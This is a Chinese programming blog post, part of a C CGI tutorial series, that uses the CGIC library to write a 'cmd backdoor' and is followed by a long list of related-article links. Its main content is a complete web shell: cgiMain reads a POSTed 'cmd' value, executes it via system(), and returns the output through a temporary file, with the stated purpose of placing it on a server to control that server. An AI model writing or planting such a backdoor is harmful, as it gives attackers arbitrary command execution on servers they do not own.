C语言CGI编程二 - 编写cmd后门
C语言CGI编程二 - 编写cmd后门
接着C语言CGI编程入门(一),这次来介绍一个C语言库,叫“CGIC”,这是他们的官网:http://www.boutell.com/cgic/
里面该说的都说的很清楚。今天我们来用它来做一个后门,将后门放在有执行cgi权限的服务器上,通过客户端POST命令到cgi上并执行,达到控制服务器的目的。
首先下载官网上的压缩包。解压里面有cgic.c和cgic.h,这是我们需要用到的文件。(另外两个c文件是演示用的,还有一个makefile是linux下使用的,在VS2010中我没有用到它)
从官方的文档和下载的cgictest.c可以看到,这个库里有main函数。因为一个程序只能有一个入口点函数,所以我们不能再定义main函数。这里,我们新建一个工程,将上面说的cgic.c和cgic.h拷贝到工程目录下,最好把cgic.c改成cgic.cpp,这样我们就能用C++的语法来写程序了。
再在工程中添加一个cgiMain.cpp的文件,我们将代码写在其中。我们这个程序只用写一个函数,cgiMain,再包含ccgi库的头文件就行了。
cgiMain我们尽可以把它想象成main函数,只不过名字不一样罢了,我们把自己的代码写进去。执行的时候也和main完全一样,以return 0;退出。
我的这个cmd后门的代码如下:
int cgiMain()
{
cgiHeaderContentType("text/html");
char szPost[256];
cgiFormString("cmd",szPost,sizeof(szPost));
string strRe,strComm = szPost;
strComm += ">01.tmp";
system(strComm.c_str());
ifstream file("01.tmp",ios::in);
while (getline(file,strRe))
{
cout<<strRe<<"<br />";
}
file.close();
remove("01.tmp");
return 0;
}
比较简陋,只是来演示一下cgic库的使用。
cgiHeaderContentType是输出html文件的头。我上一篇文章讲了在cgi需要输出内容时,需要先输出"Content-type:text/htmlnn",这个函数就是起到这个作用。大家看源代码也可以看到。
cgiFormString("cmd",szPost,sizeof(szPost));这个函数很重要。众所周知,POST或GET到的字符串是这样一个格式:a=xxxxxx&b=yyyyyy&c=112233。我们这个函数,就是获得每一个索引对应的值。
第一个参数是索引的名字,第二个参数是保存获取到的值的字符串,第三个值是字符串大小。比如我们获取到的是cmd=ipconfig,则通过索引“cmd”就能获取到值ipconfig。
原则上来说,获取到了值,也就是命令的内容“ipconfig”,我们就可以执行了。但是我用的system函数不能返回执行结果。所以我换个方式,将执行的结果放入一个临时文件,然后从文件中获取到执行结果并删除文件。这也就是我后面的代码做的工作。都是CPP的内容我就不细讲了,文件操作也可以使用C语言中的fopen、fgets,效果相同。
提一下,如果要把一个命令的输出内容放入文件,直接在命令后面加">xx.txt"就行,就输出到了xx.txt文件中(绝对路径也行)。
ccgi是一个优秀的C语言CGI库,英语不好的同学可以结合我附件中的doc,里面有各个函数的中文介绍,包括设置cookie、上传文件等等功能。所以说很强大。
演示一下效果:
在本地html(本地客户端请大家自己思考着自己写)中输入命令:
点击提交后返回结果:
附件:cgic函数说明.zip
- 血淋林的例子告诉你,为什么防“上传漏洞”要用白名单
- 关于Int自增字段和GUID字段的性能测试。只有测试,没有分析,呵呵
- 【自然框架】 之 资源角色——列表过滤方案(思路篇)
- UVM(七)之phase及objection
- 【自然框架】 之 主从表的添加、修改
- HLS Lesson6-数据类型转换
- 某开源框架从注入到Getshell
- HLS Lesson4-例子
- Docker初探(一)-有关docker的介绍和简单使用
- MySQL绕过WAF实战技巧
- 注意了,使用XSS平台的你可能被“偷窥”
- 挖洞经验 | 命令注入突破长度限制
- 预防SQL注入攻击之我见
- 企业网站架构之Nginx详解原理以及工作模块;源码Lnmp架构
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android 自定义TextView去除paddingTop和paddingBottom
- Android MeasureSpec的理解和源码的解析
- Android 中自定义ContentProvider与ContentObserver的使用简单实例
- Android沉浸式状态栏的实现代码
- MyBatis源码解析之基础模块—DataSource
- Android中Activity和Fragment传递数据的两种方式
- Android MTU 值修改的实例详解
- Android ListView填充数据的方法
- AFURLSessionManager 上传下载使用代码说明
- Android APP之WebView校验SSL证书的方法
- Android中okhttp3使用详解
- Android中RecyclerView实现Item添加和删除的代码示例
- 小程序图片上传,存储,获取,显示(含源码)
- Android网络请求框架Retrofit详解
- Android控件RadioButton实现多选一功能